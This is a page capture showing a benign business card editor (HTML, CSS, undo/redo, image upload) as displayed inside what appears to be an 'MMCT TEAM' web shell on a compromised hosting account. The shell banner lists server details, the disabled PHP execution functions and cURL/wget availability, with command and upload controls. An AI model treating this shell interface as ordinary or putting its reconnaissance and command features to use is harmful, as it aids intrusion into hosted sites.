MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/.nvm/../public_html/brandessential/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/.nvm/../public_html/brandessential/brand.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Business Card Editor</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: #f5f5f5;
            height: 100vh;
            overflow: hidden;
        }

        .header {
            background: white;
            padding: 12px 20px;
            border-bottom: 1px solid #e0e0e0;
            display: flex;
            align-items: center;
            justify-content: space-between;
        }

        .header-left {
            display: flex;
            align-items: center;
            gap: 20px;
        }

        .logo {
            background: #0066cc;
            color: white;
            padding: 8px 12px;
            border-radius: 4px;
            font-weight: bold;
        }

        .project-info {
            display: flex;
            align-items: center;
            gap: 10px;
            color: #666;
        }

        .header-right {
            display: flex;
            align-items: center;
            gap: 15px;
        }

        .undo-redo {
            display: flex;
            gap: 5px;
        }

        .undo-btn, .redo-btn {
            background: #f0f0f0;
            border: 1px solid #ddd;
            padding: 8px 12px;
            border-radius: 4px;
            cursor: pointer;
            font-size: 14px;
        }

        .undo-btn:hover, .redo-btn:hover {
            background: #e0e0e0;
        }

        .next-btn {
            background: #00b4d8;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 4px;
            cursor: pointer;
            font-weight: 500;
        }

        .main-container {
            display: flex;
            height: calc(100vh - 60px);
        }

        .sidebar {
            width: 80px;
            background: white;
            border-right: 1px solid #e0e0e0;
            padding: 15px 0;
            display: flex;
            flex-direction: column;
            align-items: center;
        }

        .sidebar-option {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: 8px;
            padding: 15px 10px;
            cursor: pointer;
            transition: background-color 0.2s;
            border-radius: 8px;
            margin-bottom: 10px;
            width: 60px;
        }

        .sidebar-option:hover {
            background: #f8f9fa;
        }

        .sidebar-option.active {
            background: #e3f2fd;
            border: 1px solid #2196f3;
        }

        .sidebar-option-icon {
            width: 32px;
            height: 32px;
            background: #666;
            border-radius: 8px;
            display: flex;
            align-items: center;
            justify-content: center;
            color: white;
            font-size: 14px;
            font-weight: bold;
        }

        .sidebar-option-text {
            font-size: 12px;
            color: #666;
            font-weight: 500;
            text-align: center;
        }

        .sidebar-option.active .sidebar-option-text {
            color: #2196f3;
        }

        .form-panel {
            width: 350px;
            background: white;
            border-right: 1px solid #e0e0e0;
            padding: 20px;
            overflow-y: auto;
        }

        .form-panel h2 {
            color: #333;
            margin-bottom: 20px;
            font-size: 18px;
        }

        .text-fields {
            margin-top: 20px;
        }

        .text-field {
            margin-bottom: 15px;
        }

        .text-field label {
            display: block;
            margin-bottom: 5px;
            font-weight: 500;
            color: #333;
        }

        .text-field input {
            width: 100%;
            padding: 8px 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-size: 14px;
        }

        .text-field input:focus {
            outline: none;
            border-color: #2196f3;
        }

        .canvas-container {
            flex: 1;
            background: #f8f9fa;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 40px;
        }

        .business-card {
            width: 540px;
            height: 324px;
            background: white;
            border: 2px solid #00b4d8;
            border-radius: 8px;
            position: relative;
            box-shadow: 0 4px 20px rgba(0,0,0,0.1);
            overflow: hidden;
        }

        .card-content {
            padding: 20px;
            height: 100%;
            display: flex;
            flex-direction: column;
            position: relative;
        }

        .card-header {
            display: flex;
            align-items: flex-start;
            gap: 20px;
            margin-bottom: 20px;
        }

        .photo-placeholder {
            width: 80px;
            height: 80px;
            background: #e0e0e0;
            border-radius: 4px;
            display: flex;
            align-items: center;
            justify-content: center;
            color: #999;
            font-size: 12px;
            text-align: center;
            flex-shrink: 0;
        }

        .company-info {
            flex: 1;
        }

        .company-name {
            font-size: 24px;
            font-weight: bold;
            color: #2196f3;
            margin-bottom: 5px;
        }

        .company-message {
            font-size: 14px;
            color: #666;
            margin-bottom: 15px;
        }

        .personal-info {
            display: flex;
            justify-content: space-between;
            margin-top: auto;
        }

        .personal-left {
            display: flex;
            flex-direction: column;
            gap: 8px;
        }

        .personal-right {
            display: flex;
            flex-direction: column;
            gap: 8px;
            text-align: right;
        }

        .info-item {
            font-size: 14px;
            color: #333;
        }

        .info-label {
            font-weight: 500;
            color: #2196f3;
        }

        .address-section {
            margin-top: 15px;
            padding-top: 15px;
            border-top: 1px solid #e0e0e0;
        }

        .address-row {
            display: flex;
            justify-content: space-between;
            gap: 20px;
        }

        .address-left, .address-right {
            flex: 1;
        }

        .hidden {
            display: none;
        }

        .upload-section {
            margin-bottom: 25px;
        }

        .upload-tabs {
            display: flex;
            border-bottom: 2px solid #f0f0f0;
            margin-bottom: 20px;
        }

        .upload-tab {
            padding: 12px 20px;
            border: none;
            background: none;
            cursor: pointer;
            font-size: 14px;
            font-weight: 500;
            color: #666;
            border-bottom: 2px solid transparent;
            transition: all 0.2s;
        }

        .upload-tab.active {
            color: #333;
            border-bottom-color: #333;
        }

        .upload-content {
            padding: 20px;
            border: 2px dashed #e0e0e0;
            border-radius: 8px;
            text-align: center;
        }

        .upload-buttons {
            display: flex;
            flex-direction: column;
            gap: 10px;
        }

        .upload-btn {
            background: #00b4d8;
            color: white;
            border: none;
            padding: 12px 20px;
            border-radius: 6px;
            cursor: pointer;
            font-size: 14px;
            font-weight: 500;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 8px;
        }

        .upload-btn:hover {
            background: #0099cc;
        }

        .upload-btn.secondary {
            background: #f0f0f0;
            color: #333;
            border: 1px solid #ddd;
        }

        .upload-btn.secondary:hover {
            background: #e0e0e0;
        }

        .accepted-formats {
            margin-top: 15px;
            text-align: left;
        }

        .accepted-formats h4 {
            font-size: 14px;
            color: #333;
            margin-bottom: 8px;
        }

        .formats-list {
            font-size: 12px;
            color: #666;
            line-height: 1.4;
        }

        .recently-uploaded {
            margin-top: 20px;
        }

        .recently-uploaded h4 {
            font-size: 14px;
            color: #333;
            margin-bottom: 10px;
        }

        .uploaded-item {
            width: 60px;
            height: 60px;
            border: 1px solid #e0e0e0;
            border-radius: 4px;
            overflow: hidden;
            cursor: pointer;
        }

        .uploaded-item img {
            width: 100%;
            height: 100%;
            object-fit: cover;
        }

        #imageUpload {
            display: none;
        }

        .uploaded-image {
            width: 100%;
            height: 100%;
            object-fit: cover;
            border-radius: 4px;
        }
    </style>
</head>
<body>
    <div class="header">
        <div class="header-left">
            <div class="logo">VP</div>
            <div class="project-info">
                <span>My Projects</span>
                <span>—</span>
                <span>Standard Visiting Cards</span>
                <span>• Saved</span>
            </div>
        </div>
        <div class="header-right">
            <div class="undo-redo">
                <button class="undo-btn" onclick="undoAction()">↶</button>
                <button class="redo-btn" onclick="redoAction()">↷</button>
            </div>
            <button class="next-btn">Next</button>
        </div>
    </div>

    <div class="main-container">
        <div class="sidebar">
            <div class="sidebar-option active" onclick="showPanel('text')">
                <div class="sidebar-option-icon">T</div>
                <div class="sidebar-option-text">Text</div>
            </div>
            <div class="sidebar-option" onclick="showPanel('images')">
                <div class="sidebar-option-icon">📷</div>
                <div class="sidebar-option-text">Images</div>
            </div>
            <div class="sidebar-option" onclick="showPanel('graphics')">
                <div class="sidebar-option-icon">⚙</div>
                <div class="sidebar-option-text">Graphics</div>
            </div>
            <div class="sidebar-option" onclick="showPanel('qr')">
                <div class="sidebar-option-icon">QR</div>
                <div class="sidebar-option-text">QR-codes</div>
            </div>
            <div class="sidebar-option" onclick="showPanel('tables')">
                <div class="sidebar-option-icon">⊞</div>
                <div class="sidebar-option-text">Tables</div>
            </div>
            <div class="sidebar-option" onclick="showPanel('design')">
                <div class="sidebar-option-icon">🎨</div>
                <div class="sidebar-option-text">Design Color</div>
            </div>
            <div class="sidebar-option" onclick="showPanel('background')">
                <div class="sidebar-option-icon">⊟</div>
                <div class="sidebar-option-text">Background</div>
            </div>
        </div>

        <div class="form-panel">
            <div id="textPanel">
                <h2>Text</h2>
                <div class="text-fields">
                    <div class="text-field">
                        <label>Company Name</label>
                        <input type="text" id="companyName" placeholder="Enter company name" oninput="updateCard()">
                    </div>
                    <div class="text-field">
                        <label>Company Message</label>
                        <input type="text" id="companyMessage" placeholder="Enter company message" oninput="updateCard()">
                    </div>
                    <div class="text-field">
                        <label>Full Name</label>
                        <input type="text" id="fullName" placeholder="Enter full name" oninput="updateCard()">
                    </div>
                    <div class="text-field">
                        <label>Job Title</label>
                        <input type="text" id="jobTitle" placeholder="Enter job title" oninput="updateCard()">
                    </div>
                    <div class="text-field">
                        <label>Email / Other</label>
                        <input type="text" id="email" placeholder="Enter email" oninput="updateCard()">
                    </div>
                    <div class="text-field">
                        <label>Address Line 1</label>
                        <input type="text" id="address1" placeholder="Enter address line 1" oninput="updateCard()">
                    </div>
                    <div class="text-field">
                        <label>Address Line 2</label>
                        <input type="text" id="address2" placeholder="Enter address line 2" oninput="updateCard()">
                    </div>
                    <div class="text-field">
                        <label>Web / Other</label>
                        <input type="text" id="website" placeholder="Enter website" oninput="updateCard()">
                    </div>
                    <div class="text-field">
                        <label>Phone / Other</label>
                        <input type="text" id="phone" placeholder="Enter phone number" oninput="updateCard()">
                    </div>
                </div>
            </div>

            <div id="imagePanel" class="hidden">
                <h2>Images</h2>
                <div class="upload-section">
                    <div class="upload-tabs">
                        <button class="upload-tab active">Upload</button>
                    </div>
                    <div class="upload-content">
                        <div class="upload-buttons">
                            <button class="upload-btn" onclick="document.getElementById('imageUpload').click()">
                                📁 Upload from this device
                            </button>
                            <button class="upload-btn secondary" onclick="document.getElementById('imageUpload').click()">
                                📱 Upload from phone
                            </button>
                        </div>
                        <input type="file" id="imageUpload" accept="image/*" onchange="handleImageUpload(event)" style="display: none;">
                    </div>
                    <div class="accepted-formats">
                        <h4>Accepted formats</h4>
                        <div class="formats-list">
                            .jpg, .jpeg, .jfif, .bmp, .png, .gif, .heic,<br>
                            .svg, .webp, .pdf, .psd, .ai, .eps, .ait, .ppt,<br>
                            .pptx, .tif, .tiff
                        </div>
                    </div>
                    <div class="recently-uploaded">
                        <h4>Recently uploaded</h4>
                        <div class="uploaded-item" id="recentImage" style="display: none;">
                            <img id="recentImageThumb" src="" alt="Recent upload">
                        </div>
                    </div>
                </div>
            </div>

            <div id="otherPanels" class="hidden">
                <h2>Feature Not Available</h2>
                <p>This feature is not implemented in the current version.</p>
            </div>
        </div>

        <div class="canvas-container">
            <div class="business-card">
                <div class="card-content">
                    <div class="card-header">
                        <div class="photo-placeholder" id="photoPlaceholder">
                            Your Photo or Logo Here
                        </div>
                        <div class="company-info">
                            <div class="company-name" id="cardCompanyName">Company Name</div>
                            <div class="company-message" id="cardCompanyMessage">Company Message</div>
                        </div>
                    </div>
                    
                    <div class="personal-info">
                        <div class="personal-left">
                            <div class="info-item">
                                <span class="info-label" id="cardFullName">Full Name</span>
                            </div>
                            <div class="info-item" id="cardJobTitle">Job Title</div>
                            <div class="info-item" id="cardEmail">Email / Other</div>
                        </div>
                        <div class="personal-right">
                            <div class="info-item" id="cardPhone">Phone / Other</div>
                        </div>
                    </div>

                    <div class="address-section">
                        <div class="address-row">
                            <div class="address-left">
                                <div class="info-item" id="cardAddress1">Address Line 1</div>
                                <div class="info-item" id="cardAddress2">Address Line 2</div>
                            </div>
                            <div class="address-right">
                                <div class="info-item" id="cardWebsite">Web / Other</div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <script>
        let history = [];
        let currentState = 0;

        function saveState() {
            const state = {
                companyName: document.getElementById('companyName').value,
                companyMessage: document.getElementById('companyMessage').value,
                fullName: document.getElementById('fullName').value,
                jobTitle: document.getElementById('jobTitle').value,
                email: document.getElementById('email').value,
                address1: document.getElementById('address1').value,
                address2: document.getElementById('address2').value,
                website: document.getElementById('website').value,
                phone: document.getElementById('phone').value,
                image: document.getElementById('photoPlaceholder').innerHTML
            };
            
            history = history.slice(0, currentState + 1);
            history.push(state);
            currentState = history.length - 1;
        }

        function undoAction() {
            if (currentState > 0) {
                currentState--;
                restoreState(history[currentState]);
            }
        }

        function redoAction() {
            if (currentState < history.length - 1) {
                currentState++;
                restoreState(history[currentState]);
            }
        }

        function restoreState(state) {
            document.getElementById('companyName').value = state.companyName || '';
            document.getElementById('companyMessage').value = state.companyMessage || '';
            document.getElementById('fullName').value = state.fullName || '';
            document.getElementById('jobTitle').value = state.jobTitle || '';
            document.getElementById('email').value = state.email || '';
            document.getElementById('address1').value = state.address1 || '';
            document.getElementById('address2').value = state.address2 || '';
            document.getElementById('website').value = state.website || '';
            document.getElementById('phone').value = state.phone || '';
            document.getElementById('photoPlaceholder').innerHTML = state.image || 'Your Photo or Logo Here';
            
            updateCard();
        }

        function updateCard() {
            const companyName = document.getElementById('companyName').value || 'Company Name';
            const companyMessage = document.getElementById('companyMessage').value || 'Company Message';
            const fullName = document.getElementById('fullName').value || 'Full Name';
            const jobTitle = document.getElementById('jobTitle').value || 'Job Title';
            const email = document.getElementById('email').value || 'Email / Other';
            const address1 = document.getElementById('address1').value || 'Address Line 1';
            const address2 = document.getElementById('address2').value || 'Address Line 2';
            const website = document.getElementById('website').value || 'Web / Other';
            const phone = document.getElementById('phone').value || 'Phone / Other';

            document.getElementById('cardCompanyName').textContent = companyName;
            document.getElementById('cardCompanyMessage').textContent = companyMessage;
            document.getElementById('cardFullName').textContent = fullName;
            document.getElementById('cardJobTitle').textContent = jobTitle;
            document.getElementById('cardEmail').textContent = email;
            document.getElementById('cardAddress1').textContent = address1;
            document.getElementById('cardAddress2').textContent = address2;
            document.getElementById('cardWebsite').textContent = website;
            document.getElementById('cardPhone').textContent = phone;

            saveState();
        }

        function showPanel(panelType) {
            // Hide all panels
            document.getElementById('textPanel').classList.add('hidden');
            document.getElementById('imagePanel').classList.add('hidden');
            document.getElementById('otherPanels').classList.add('hidden');
            
            // Remove active class from all sidebar options
            document.querySelectorAll('.sidebar-option').forEach(option => {
                option.classList.remove('active');
            });
            
            // Show selected panel and activate corresponding sidebar option
            if (panelType === 'text') {
                document.getElementById('textPanel').classList.remove('hidden');
                document.querySelectorAll('.sidebar-option')[0].classList.add('active');
            } else if (panelType === 'images') {
                document.getElementById('imagePanel').classList.remove('hidden');
                document.querySelectorAll('.sidebar-option')[1].classList.add('active');
            } else {
                document.getElementById('otherPanels').classList.remove('hidden');
                // Find and activate the clicked option
                event.target.closest('.sidebar-option').classList.add('active');
            }
        }

        function handleImageUpload(event) {
            const file = event.target.files[0];
            if (file) {
                const reader = new FileReader();
                reader.onload = function(e) {
                    const img = document.createElement('img');
                    img.src = e.target.result;
                    img.classList.add('uploaded-image');
                    
                    const placeholder = document.getElementById('photoPlaceholder');
                    placeholder.innerHTML = '';
                    placeholder.appendChild(img);
                    
                    // Show in recently uploaded
                    const recentImage = document.getElementById('recentImage');
                    const recentImageThumb = document.getElementById('recentImageThumb');
                    recentImageThumb.src = e.target.result;
                    recentImage.style.display = 'block';
                    
                    saveState();
                };
                reader.readAsDataURL(file);
            }
        }

        // Initialize with empty state
        saveState();
    </script>
</body>
</html>

MMCT - 2023